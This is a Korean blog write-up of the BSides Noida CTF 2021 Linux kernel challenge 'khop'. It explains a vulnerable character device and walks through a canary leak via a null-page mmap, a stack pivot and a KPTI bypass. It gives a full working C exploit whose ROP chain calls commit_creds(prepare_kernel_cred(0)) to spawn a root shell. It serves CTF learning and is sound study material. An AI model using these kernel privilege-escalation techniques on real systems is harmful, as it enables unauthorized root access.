[ bsides CTF 2021 ] khop

sangjun

·

2021. 8. 11. 23:41

 

문제소스

  •  

보호기법

KPTI : YES
SMEP : YES
KASLR : NO

문제 분석 및 페이로드

모듈 파일을 open하면 "message"라는 전역변수에 kmalloc을 할당해준다.

또한 일반적인 strlen함수와 다르게 \x00이 아닌 \n을 만날 때까지 문자열 길이를 세어준다.

close(fd)를 해주면 kmalloc된 영역 free되어지고 message 전역 변수가 0을 가르킨다.

read함수는 strlen을 통해 글자수를 세고 이것을 커널영역 --> 유저영역 변수로 복사해준다.

익스플로잇 순서는 이렇다.

1. 카나리 릭 -->strlen 취약점

2. 스택 피보팅

3. KPTI bypass

 

 

1. 카나리 릭

open()함수를 2번 해주고 close()함수로 하나를 닫어주면 message변수는 0을 가르킨다.

mmap을 호출해서 0에 동적할당해주어 값을 써주면 read함수를 실행시켜도 에러가 나지 않는다.

--> cat /proc/sys/vm/mmap_min_addr을 해주면 0인 것을 알 수 있다.

mmap으로 최소로 할당할 수 있는 주소가 0이라는 것.

 

 

strlen이 \n까지 세어주는 점을 이용하여 offset변수를 len변수까지 떙긴다.

 

그다음 다시 read하면 카나리가 릭 된다.

즉, mmap으로 0주소에 메모리를 할당하고 read를 두번 호출한다.

 

2. 스택 피보팅

open()함수로 하나 더 열어주고 이쪽에 릭된 카나리를 바탕으로

pop rsp가젯으로 스택 피보팅을 진행한다.

 

3. KPTI bypass

KPTI bypass핵심은 kernel내부의 어셈블리 함수를 쓰는 것이다.

아래 함수를 쓸 것이다.

cat /proc/kallsyms |grep "swapgs_restore_regs_and_return_to_usermode"

pop rdi나 pop rsp가젯들을 찾기 위해서는 vmlinuz를 unpack해주는 과정이 필요하다.

그다음 마지막으로 user_flags, user_ss등을 설정해주면 usermode-->kernel mode에서 권한상승을 한 뒤에 다시 kernel mode --> usermode로 돌아올 때 원하는 system("/bin/sh");를 실행시킬 수 있다.

// gcc -masm=intel -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>

uint64_t canary;
uint64_t pop_rsp=0xffffffff81020360;
uint64_t pop_rdi=0xffffffff8104dec1;
uint64_t prepare_kernel_cred=0xffffffff810cc140;
uint64_t commit_creds = 0xffffffff810cbdd0;
uint64_t xchg = 0xffffffff8110f940; // # xchg rax, rdi; or al, 0; pop rbp; ret;
uint64_t swapgs_kpti=0xffffffff81c00a34 + 22;

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
       );
}

void get_shell() {
    execl("/bin/sh", "sh", NULL);
//system("/bin/sh");
}

int main() {
    char *mem=mmap(0,0x1000,7,50,-1,0);

    char buf[256]={0,};
    int leak=open("/dev/char_dev",O_RDONLY);
    int tmp=open("/dev/char_dev",O_RDONLY);
    int rop=open("/dev/char_dev",O_RDONLY);
    close(tmp);
    //move file offset to "len" variable
    memset(mem,'P',47);
    mem[47]='\n';
    read(leak,buf,48);

    //leak canary
    memset(mem,'S',48);
    mem[48]='\n';
    read(leak,buf,16);
    
    memcpy(&canary,&buf[1],8);//canary

    printf("[+] leaked canary : %lx\n",canary);

    //make a ROP payload
    memset(mem,'S',48);
    memcpy(&mem[48],&canary,8);
    memset(&mem[56],'\x00',8*6);//pop gadget * 6; ret
    
    uint64_t stack_pivot_addr=3500;
    memcpy(&mem[104],&pop_rsp,8);
    memcpy(&mem[112],&stack_pivot_addr,8);
//    memset(mem+120,'\n',1);
    mem[120]='\n';

    //set stack pivoting space
    uint64_t chain[] = {
    pop_rdi,
    0,
    prepare_kernel_cred,
    xchg,
    0,
    commit_creds,
    swapgs_kpti,
    0,
    0,
    };
    uint64_t *context=&mem[3500+sizeof(chain)];
    memcpy(&mem[3500],&chain,sizeof(chain));
    backup_rv();
    context[0]=&get_shell;
    context[1]=rv.user_cs;
    context[2]=rv.user_rflags;
    context[3]=rv.user_rsp;
    context[4]=rv.user_ss;

    //send a rop payload
    read(rop,buf,48);
    return 0;
}

참고문헌 및 힘들었던 부분

1. memset과 memcpy등을 잘못 쓰면 컴파일 단계에서 에러나 경고 메세지뜨는데 이것을 다 없애줘야 커널 패닉이 안 났다.

 

2. 맨 마지막 rop페이로드 보낼 때 read함수 count 0xdeadbeef등등 이상한 짓 해서 커널 패닉이 있다.

--> 멋부리지 말기ㅋㅋㅋㅋ

 

3. ROPgadget --binary ./vmlinux > out.txt로 가젯 다 뽑아놓고 가젯 뽑는 시간 단축하기

 

4. binwalk -e vmlinuz이용해서 pack된 커널 이미지 unpack하기

 

5. wirte up 출처 https://revervand.github.io/ctf/writeup/2021/08/10/BSides-Noida-CTF-2021-Pwn-K-HOP.html

이분한테 다 물어보면서 진행했다ㅠㅠ